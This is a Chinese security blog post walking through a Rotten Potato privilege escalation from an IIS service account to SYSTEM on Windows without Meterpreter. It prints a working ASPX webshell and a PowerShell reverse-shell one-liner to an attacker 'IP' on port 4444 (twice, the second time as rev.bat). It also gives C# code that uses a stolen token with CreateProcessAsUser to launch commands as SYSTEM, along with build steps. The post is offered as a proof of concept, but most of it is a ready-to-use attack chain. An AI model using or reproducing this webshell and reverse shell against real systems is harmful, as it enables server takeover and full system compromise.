标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-1243] 作者: ecawen 发表于: [2018-01-02]
本文共 [952] 位读者顶过
写在前面的话
如果你之前没听说过Rotten Potato的话,请大家在阅读本文之前先看看这篇有关使用Rotten Potato实现服务帐号提权的【文章】。[出自:jiwo.org]
PoC利用
首先,我们需要在Windows(Windows 7-Windows 2016均可)上安装IIS,,然后将“command”.aspx页面(代码在下面给出)拷贝到webroot目录之中。 < %@ Page Language="VB" Debug="true" >
< %@ import Namespace="system.IO" % >
< %@ import Namespace="System.Diagnostics">
<script runat="server">
Function RunCmd(command)
Dim res as integer Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)
myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=”/c “ + command myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
RunCmd= MyString
End Function
</script>
<html>
<body>
<form action="cmd.aspx" method=POST>
Enter your shell command <input type=text name=cmd size=4>
<input type=submit name=go></form>
< % if request(“cmd”) <> “” then response.write(“
<pre>“+ RunCmd(request(“cmd”))+ “</pre>
“)
end if %>
</body></html>
Webshell正常工作,具体如下图所示(ISS默认的apppool):
我们所拥有的权限信息如下所示(whoami/priv):
我们已经拿到了我们所需要的权限,而剩下的就是拿到一个交互式的反向Powershell: powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444); $st = $c.GetStream();[byte[]]$b = 0..65535|%{0}; while(($i = $st.Read($b, 0, $b.Length)) -ne 0){; $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i); $sb = (IEX $d 2>&1 | Out-String ); $sb2 = $sb + ‘PS ‘ + (pwd).Path + ‘> ‘; $sby = ([text.encoding]::ASCII).GetBytes($sb2); $st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()”
接下来,我们需要从GitHub代码库【传送门】中下载Rotten Potato PoC(C#),然后在Visual Studio中打开项目代码。 打开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:
其中的mygetuser()函数告诉我们,我们现在已经是“SYSTEM”了,如果我们直接在Meterpreter会话中运行我们的漏洞利用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特殊用户了。 但是我们的要求是避免使用Meterpreter,所以我们需要用不同的方法来实现这个目标。 首先,我们需要确保一切都能够正常运行,因此我们需要添加一下自定义代码:
为了得到SYSTEM令牌,我们需要调用QuerySecurityContext() API,然后在新的状态下伪造令牌。接下来,我们还需要尝试在目录c:windows下创建一个子目录。 完成了整个项目的编译之后,我们需要使用ILMerge.exe来创建一个单独的可执行程序。如果你选择的是Framework 3.5版本以上的平台,别忘了修改代码中的 .NET框架版本。可供参考的样本代码如下所示: ILMerge.exe Potato.exe NHttp.dll
SharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll /out:myrotten.exe /targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”
这里我就不介绍如何将生成的可执行程序上传到c:windowstemp目录中了,因为你应该知道怎么用PowerShell的反向Shell来完成上传了吧? 如果一切顺利的话,你应该可以通过启动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。
非常好,我们的漏洞利用PoC可以成功运行了,接下来我们继续往下看。 我们的策略如下: 其实我们并不需要跟“incognito“进行交互,我们准备通过命令行来启动一个新的进程,然后伪装成SYSTEM用户。 首先,我们需要对Program.cs的Main()函数进行一些调整:
我们需要在公共静态字符串CmdLine中存储我们将要调用的程序名称,例如一个反向PowerShell。 接下来就是最重要的部分了,那么为了使用SYSTEM令牌生成一个新的进程,我们需要调用哪一个Windows API呢? 思考片刻之后,我们设计出了以下两种备选方案: 方案一BOOL WINAPI CreateProcessAsUser(
_In_opt_ HANDLE hToken,
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
方案二BOOL WINAPI CreateProcessWithTokenW(
_In_ HANDLE hToken,
_In_ DWORD dwLogonFlags,
_In_opt_ LPCWSTR lpApplicationName,
_Inout_opt_ LPWSTR lpCommandLine,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCWSTR lpCurrentDirectory,
_In_ LPSTARTUPINFOW lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInfo
);
这些函数其实都是差不多的,它们都接受令牌来作为输入参数。但它们的主要区别在于: CreateProcessWithTokenW()使用起来限制更少一点,因为它只需要SeImpersonate权限。但是,它似乎无法在Session 0(我们的shell运行在其中,因为我们是从IIS服务中启动的shell)中正常工作。
CreateProcessAsUser()同样需要SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中运行。 我们需要设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。 public class MyProcess {
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
{ public IntPtr hProcess; public IntPtr hThread; public Int32 dwProcessID; public Int32 dwThreadID;
}
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
{ public Int32 Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle;
}
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
{ public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError;
}
[DllImport("advapi32.dll",
EntryPoint = "CreateProcessAsUser", SetLastError = true,
CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall) ] public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation);
}
. . . . public bool RunMyProcessAsUser(IntPtr hToken) {
MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();
MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();
MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO(); try {
sa.Length = Marshal.SizeOf(sa);
si.cb = Marshal.SizeOf(si);
si.lpDesktop = String.Empty; bool result = MyProcess.CreateProcessAsUser(
hToken,
Program.CmdLine,
String.Empty, ref sa, ref sa, false, 0, IntPtr.Zero, @"C:\", ref si, ref pi
); if (!result)
{ int error = Marshal.GetLastWin32Error();
Console.WriteLine(String.Format("RunMyProcess Error: {0}", error)); return false;
}
Console.WriteLine("Executed:" + Program.CmdLine);
Process currentProcess = Process.GetCurrentProcess();
} finally { if (pi.hProcess != IntPtr.Zero)
MyProcess.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero)
MyProcess.CloseHandle(pi.hThread);
} return true;
}
声明完必要的数据结构以及API调用之后,我们则需要调用CreateProcessAsUser()来传递必要的参数,首先就是我们的令牌,其次是需要执行的命令以及某些默认配置值。需要提醒大家的是,我们的工作目录为C:。 正如你所看到的那样,在创建进程之前,我们不打算通过调用DuplicateTokenEx()函数来拷贝我们的令牌,因为我们没必要这样做。 我们将在下面代码中调用我们的函数:
现在,我们需要把所有的东西整合起来进行编译,并对我们的成果进行测试。但是在开始之前,我们要把我们的rev.bat上传到c:\windows\temp目录中。 powershell -nop -c
“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()”
接下来就是见证奇迹的时刻了! 在PS反向Shell(IIS用户)中,我们能够调用我们的myrotten.exe了:
我们的监听控制台情况如下所示:
终于成功啦!
总结正如你所看到的那样,在这篇文章中我只跟大家介绍了如何让相关代码正常工作,大家也可以根据自己的需要来修改项目代码(C#),也欢迎有能力的同学们可以去本项目的GitHub上贡献自己的代码。 |